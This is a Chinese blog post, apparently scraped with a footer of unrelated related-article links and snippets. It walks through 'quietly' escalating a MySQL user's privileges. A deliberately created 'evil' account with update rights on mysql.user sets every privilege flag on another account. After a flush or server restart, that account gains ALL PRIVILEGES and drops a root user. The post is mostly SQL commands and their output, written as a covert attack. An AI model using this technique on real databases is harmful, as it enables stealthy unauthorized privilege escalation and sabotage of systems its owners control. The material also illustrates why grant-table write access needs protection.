如何悄悄地提升MySQL用户权限
温馨提示:
一次成功的非法提权,需要的必备条件是:
1、对mysql权限表的查、改权限;
2、一次不经意的数据库服务器重启;
此次测试版本:5.6.25
准备邪恶用户:
grant update on mysql.user to heike@'localhost' identified by 'heike';
用heike@localhost登录数据库;
mysql> select * from user;
ERROR 1142 (42000): SELECT command denied to user 'heike'@'localhost' for table 'user'
mysql> update mysql.user set user='test003' where user='test03';
ERROR 1143 (42000): SELECT command denied to user 'heike'@'localhost' for column 'user' in table 'user'
好吧,失败,在给heike@localhost关于user表的select权限;
mysql> grant select on mysql.user to heike@'localhost' identified by 'heike';
Query OK, 0 rows affected (0.00 sec)
现在heike@localhost可以正常地访问mysql.user表了。
准备测试用户:
mysql> show grants for test02@'localhost';
+---------------------------------------------------------------------------------------------------------------+
| Grants for test02@localhost |
+---------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD '*1556A6F65259CE3FBEA8489096F7797B4E0D5BEC' |
| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost' |
+---------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)
test02@'localhost'只有查询db_test库t1表的权限
现在开始用heike@localhost给test02@'localhost'提权。
就给test02@'localhost'一个超大的权限吧。使用heike@localhost执行:
update mysql.user set Select_priv='Y',
Insert_priv='Y',
Update_priv='Y',
Delete_priv='Y',
Create_priv='Y',
Drop_priv='Y',
Reload_priv='Y',
Shutdown_priv='Y',
Process_priv='Y',
File_priv='Y',
Grant_priv='Y',
References_priv='Y',
Index_priv='Y',
Alter_priv='Y',
Show_db_priv='Y',
Super_priv='Y',
Create_tmp_table_priv='Y',
Lock_tables_priv='Y',
Execute_priv='Y',
Repl_slave_priv='Y',
Repl_client_priv='Y',
Create_view_priv='Y',
Show_view_priv='Y',
Create_routine_priv='Y',
Alter_routine_priv='Y',
Create_user_priv='Y',
Event_priv='Y',
Trigger_priv='Y',
Create_tablespace_priv='Y'
where user='test02' and host='localhost';
Query OK, 1 row affected (0.04 sec)
Rows matched: 1 Changed: 1 Warnings: 0
但是再查看test02@localhost的权限
+----------------------------------------------------------------------------+
| Grants for test02@localhost |
+----------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD <secret> |
| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost' |
+----------------------------------------------------------------------------+
2 rows in set (0.00 sec)
好吧,权限没变。但是不要灰心
让我们静静地等在在某一天,有flush privileges 权限的用户执行下:
mysql>flush privileges;
这时再看看test02@localhost的权限
mysql> show grants for test02@localhost;
+-------------------------------------------------------------------------------------------------------+
| Grants for test02@localhost |
+-------------------------------------------------------------------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO 'test02'@'localhost' IDENTIFIED BY PASSWORD <secret> WITH GRANT OPTION |
| GRANT SELECT ON `db_test`.`t1` TO 'test02'@'localhost' |
+-------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)
这是你是不是觉得test02@localhost已经成功逆袭为高富帅了?
既然你这么以为,就让他把`db_test`.`t1`删掉吧
mysql> drop table db_test.t1;
ERROR 1142 (42000): DROP command denied to user 'test02'@'localhost' for table 't1'
What!居然不能删除,还提示权限不足。这一定是误会,让我再尝试一下:
mysql> select user,host,password from mysql.user;
ERROR 1142 (42000): SELECT command denied to user 'test02'@'localhost' for table 'user'
what!连查询都不行,说好的ALL PRIVILEGES呢!
让我再尝试一下,新建一张普通表t2看test02@localhost能访问不。
mysql> select * from db_test.t2;
ERROR 1142 (42000): SELECT command denied to user 'test02'@'localhost' for table 't2'
好吧,至此'test02'@'localhost'的权限没有丝毫改变
继而重启服务器
>service mysqld restart
再试试:
mysql> drop user root@'::1';
Query OK, 0 rows affected (0.08 sec)
mysql> select user();
+------------------+
| user() |
+------------------+
| test02@localhost |
+------------------+
1 row in set (0.00 sec)
哈哈!看看。此时的test02@localhost已经将root用户干掉了!
如何悄悄地提升MySQL用户权限的更多相关文章
- mysql用户权限
mysql> show grants for root@'localhost';+-------------------------------------------------------- ...
- mysql用户权限操作
mysql用户权限操作1.创建用户mysql -urootcreate database zabbix default charset utf8;grant all on zabbix.* to za ...
- 烂泥:nginx、php-fpm、mysql用户权限解析
原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://ilanni.blog.51cto.com/526870/1561097 本文首发 ...
- mysql用户权限设置
1.创建新用户 通过root用户登录之后创建 >> grant all privileges on *.* to testuser@localhost identified by &quo ...
- mysql 用户权限设置【转】
在Linux下phpStudy集成开发环境中,要先进入mysql下bin目录,执行mysql ./mysql -u root -p 1.创建新用户 通过root用户登录之后创建 >> gr ...
- 转 MySQL 用户权限详细汇总
http://blog.csdn.net/mchdba/article/details/45934981 1,MySQL权限体系 MySQL 的权限体系大致分为5个层级: 全局层级: 全局权限适用于一 ...
- MYSQL用户权限管理学习笔记
MYSQL 用户管理 1.权限表 MYSQL是一个多用户的数据库,MYSQL的用户可以分为两大类: (1) 超级管理员用户(root),拥有全部权限 (2) 普通用户,由roo ...
- mysql用户权限分配及主从同步复制
赋予wgdp用户查询权限: grant select on wg_dp.* to 'wgdp'@'%' IDENTIFIED BY 'weigou123'; grant all privileges ...
- mysql用户权限管理
参考文章:http://www.cnblogs.com/jackruicao/p/6068821.html?utm_source=itdadao&utm_medium=referral (1) ...
随机推荐
- day 30 HTML
HTML: 超文本标记语言(Hyper Text Markup Language) Html基本结构 <!DOCTYPE html> <html> <!-- 定义HTML ...
- QQ分享登陆报错
linker command failed with exit code 1 (use -v to see invocation)报错原因 builtSetting下搜索 bitco 改为NO
- Centos和Redhat的区别与联系
CentOS的简介 CentOS是Community ENTerprise Operating System的简称,我们有很多人叫它社区企业操作系统,不管你怎么叫它,它都是Linux操作系统的一个发行 ...
- SparseArray
使用SparseArray更加节省内存空间的使用,SparseArray也是以key和value对数据进行保存的.使用的时候只需要指定value的类型即可.并且key不需要封装成对象类型. Has ...
- linux下查看配置信息命令
# uname -a # 查看内核/操作系统/CPU信息# head -n 1 /etc/issue ...
- python学习-名字管理
记录代码片段 print("="*50) print(" 名片管理系统 v0.01") print("1. 添加一个新的名片") print ...
- (转)在WCF服务的ServiceReferences.ClientConfig中使用相对路径
问题: Silverlight项目中添加服务引用后会在Silverlight项目中生成一个ServiceReferences.ClientConfig文件,这个文件中包含了引用服务的绑定(bindin ...
- andorid 练习微信登陆
AndroidManifest.xml layout1.xml <?xml version="1.0" encoding="utf-8"?> < ...
- RNA Sequencing
RNA Sequencing 选择其他单元: RNA Sequencing 国内领先的转录组定序基地 Transcriptome Sequencing可全面性并快速地获得某一物种特定细胞或组织在某一状 ...
- 2017/2/7utf-8与GBK的区别与修改
1.GBK:是中文字符编码 2.UTF-8:是国际编码 3.使用GBK与UTF-8编码更耗内存,同时有英文字符多的 尽量用UTF-8编码 4.在项目中,几个修改字符串的方法: